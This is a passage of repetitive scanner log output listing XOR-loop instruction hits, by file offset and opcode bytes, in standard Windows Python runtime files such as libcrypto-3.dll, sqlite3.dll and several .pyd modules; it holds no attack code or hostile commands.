"libcrypto-3.dll" at offset 2519584; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2519664; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2519716; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2519783; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2519829; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2519845; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2519928; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2519980; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2520108; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2520191; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2520242; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2521009; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2521148; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2521275; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2521520; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2570559; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2570623; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2584527; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2584623; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2636890; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2660373; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2675685; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2675820; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2675828; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2955252; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083213; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083318; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083337; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083355; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083445; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083475; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083482; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083586; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083616; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083619; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083697; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083809; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083929; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084015; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084137; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084214; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084285; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084385; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084508; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084609; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084660; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084721; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084832; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084950; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085411; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085466; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085517; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085579; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085640; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085692; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085751; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085806; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085880; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085997; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086067; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086143; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086235; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086338; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086479; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086526; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086579; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086707; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086823; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086934; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087018; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087084; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087209; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087328; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087449; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087550; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087666; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087784; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087899; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087949; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088011; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088258; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088279; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088348; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088391; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088460; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088512; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088569; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088684; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088814; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088922; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3089056; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3089174; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3089273; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3089305; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3089441; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3089547; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3089676; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3090120; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3090349; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3090471; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3090589; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3091100; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3091143; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3091205; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3091326; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3091479; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3091572; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3091623; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3091685; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3092489; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3092607; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3092715; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3092860; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3092961; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3093012; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3093074; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3093193; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3093300; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3093418; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3093825; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3093877; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3093937; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3094000; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3094042; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3094097; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3094139; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3094194; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3094252; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3094324; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3097921; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3097953; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3099959; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3100056; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3100178; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3100266; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3100315; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3100366; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3100471; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3100563; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3100678; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3100754; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3100800; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3100879; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3100988; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3101073; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3101127; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3101184; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3101280; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3101377; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3101499; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3101545; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3101619; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3101698; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3101812; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102031; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102141; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102205; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102246; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102287; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102385; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102504; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102595; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102716; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102735; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102800; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102903; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3103014; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3103101; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3103453; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3103676; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3103780; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3103883; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3104294; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3104501; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3104613; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3104662; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3104714; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3104769; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3104851; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3104898; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3104965; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3105108; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3105191; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3105298; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3105393; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3106512; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3106628; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3106724; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3106819; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3106855; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3106982; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107020; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107076; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107138; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107179; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107220; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107288; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107350; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107431; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107542; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107585; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107644; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107687; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107732; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107823; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107920; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107999; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3249183; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3249215; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3250386; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3257423; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3257455; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3258809; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3431494; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3544483; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3544563; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3566521; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3588387; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3588499; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3589143; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3589670; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3590058; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3590061; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3590067; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3597078; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3597240; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3711947; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3818240; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3843276; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 4083624; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 4789796; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 5224382; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 253212; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 307435; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 363114; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 939328; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 1361709; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 1701030; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2028416; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3595020; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4196978; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4198385; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4199024; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4462152; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4462312; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4464088; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4464208; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4769372; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4988324; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4990860; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5002176; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5067456; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5105033; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5105041; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5105045; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5219675; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5228965; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 37305; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 37422; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 240903; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 240908; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 240931; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 240936; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 259769; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 425434; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 425439; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 886525; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 886628; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1111517; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1134896; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1181097; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1291047; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1577918; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1522748; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1573211; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1582483; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 341740; code bytes = 30d0 Found XOR loop in file "libssl-3.dll" at offset 36115; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 36195; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 285131; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 314499; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 314611; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 315255; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 315782; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 316170; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 316173; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 316179; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 516270; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 516432; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 787902; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 267573; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 732136; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 783195; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 792485; code bytes = 8030 Found XOR loop in file "vcruntime140.dll" at offset 65996; code bytes = 33c1 Found XOR loop in file "vcruntime140.dll" at offset 105766; code bytes = 8030 Found XOR loop in file "vcruntime140.dll" at offset 116065; code bytes = 8030 Found XOR loop in file "python.exe" at offset 2787; code bytes = 33c1 Found XOR loop in file "python.exe" at offset 99262; code bytes = 33c1 Found XOR loop in file "python.exe" at offset 12694; code bytes = 30040e Found XOR loop in file "python.exe" at offset 5680; code bytes = 8030 Found XOR loop in file "python.exe" at offset 6928; code bytes = 8030 Found XOR loop in file "python.exe" at offset 23399; code bytes = 8030 Found XOR loop in file "python.exe" at offset 28006; code bytes = 8030 Found XOR loop in file "python.exe" at offset 49954; code bytes = 8030 Found XOR loop in file "python.exe" at offset 94555; code bytes = 8030 Found XOR loop in file "python.exe" at offset 103827; code bytes = 8030 Found XOR loop in file "pythonw.exe" at offset 24395; code bytes = 30d0 Found XOR loop in file "pythonw.exe" at offset 27106; code bytes = 30d0 Found XOR loop in file "pythonw.exe" at offset 49444; code bytes = 30d0 Found XOR loop in file "pythonw.exe" at offset 2811; code bytes = 33c1 Found XOR loop in file "pythonw.exe" at offset 97726; code bytes = 33c1 Found XOR loop in file "pythonw.exe" at offset 5696; code bytes = 8030 Found XOR loop in file "pythonw.exe" at offset 6900; code bytes = 8030 Found XOR loop in file "pythonw.exe" at offset 14317; code bytes = 8030 Found XOR loop in file "pythonw.exe" at offset 93019; code bytes = 8030 Found XOR loop in file "pythonw.exe" at offset 102291; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 67006; code bytes = 33c1 Found XOR loop in file "python3.dll" at offset 67864; code bytes = 33c1 Found XOR loop in file "python3.dll" at offset 62299; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 71571; code bytes = 8030 Found XOR loop in file "vcruntime140_1.dll" at offset 15084; code bytes = 33c1 Found XOR loop in file "vcruntime140_1.dll" at offset 35123; code bytes = 8030 Found XOR loop in file "vcruntime140_1.dll" at offset 43752; code bytes = 8030 Found XOR loop in file "vcruntime140_1.dll" at offset 45437; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 92929; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 399380; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 8819; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 94567; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 751038; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 73437; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 93322; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 425584; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 459884; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 739148; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 739156; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 746331; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 755603; code bytes = 8030 Found XOR loop in file "_zstd.pyd" at offset 4951; code bytes = 33c1 Found XOR loop in file "_zstd.pyd" at offset 26323; code bytes = 33c1 Found XOR loop in file "_zstd.pyd" at offset 26356; code bytes = 33c1 Found XOR loop in file "_zstd.pyd" at offset 94860; code bytes = 33c1 Found XOR loop in file "_zstd.pyd" at offset 153703; code bytes = 33c1 Found XOR loop in file "_zstd.pyd" at offset 248477; code bytes = 33c1 Found XOR loop in file "_zstd.pyd" at offset 249552; code bytes = 33c1 Found XOR loop in file "_zstd.pyd" at offset 268983; code bytes = 33c1 Found XOR loop in file "_zstd.pyd" at offset 271090; code bytes = 33c1 Found XOR loop in file "_zstd.pyd" at offset 284863; code bytes = 33c1 Found XOR loop in file "_zstd.pyd" at offset 286392; code bytes = 33c1 Found XOR loop in file "_zstd.pyd" at offset 288010; code bytes = 33c1 Found XOR loop in file "_zstd.pyd" at offset 288817; code bytes = 33c1 Found XOR loop in file "_zstd.pyd" at offset 496574; code bytes = 33c1 Found XOR loop in file "_zstd.pyd" at offset 383666; code bytes = 8030 Found XOR loop in file "_zstd.pyd" at offset 383759; code bytes = 8030 Found XOR loop in file "_zstd.pyd" at offset 481620; code bytes = 8030 Found XOR loop in file "_zstd.pyd" at offset 491867; code bytes = 8030 Found XOR loop in file "_zstd.pyd" at offset 501139; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 137827; code bytes = 33c1 Found XOR loop in file "_decimal.pyd" at offset 280510; code bytes = 33c1 Found XOR loop in file "_decimal.pyd" at offset 216139; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 275803; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 285075; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 32170; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 32392; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 32419; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 32514; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 32566; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 32907; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 33183; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 33210; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 33305; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 66963; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 209342; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 204635; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 213907; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 9207; code bytes = 33c1 Found XOR loop in file "_ssl.pyd" at offset 176574; code bytes = 33c1 Found XOR loop in file "_ssl.pyd" at offset 171867; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 181139; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 1845; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 3265; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 15558; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 15609; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 15665; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 17432; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 54392; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 54404; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 55344; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 55356; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 56004; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 56015; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 56671; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 56678; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 57584; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 57637; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 57660; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 75827; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 89545; code bytes = 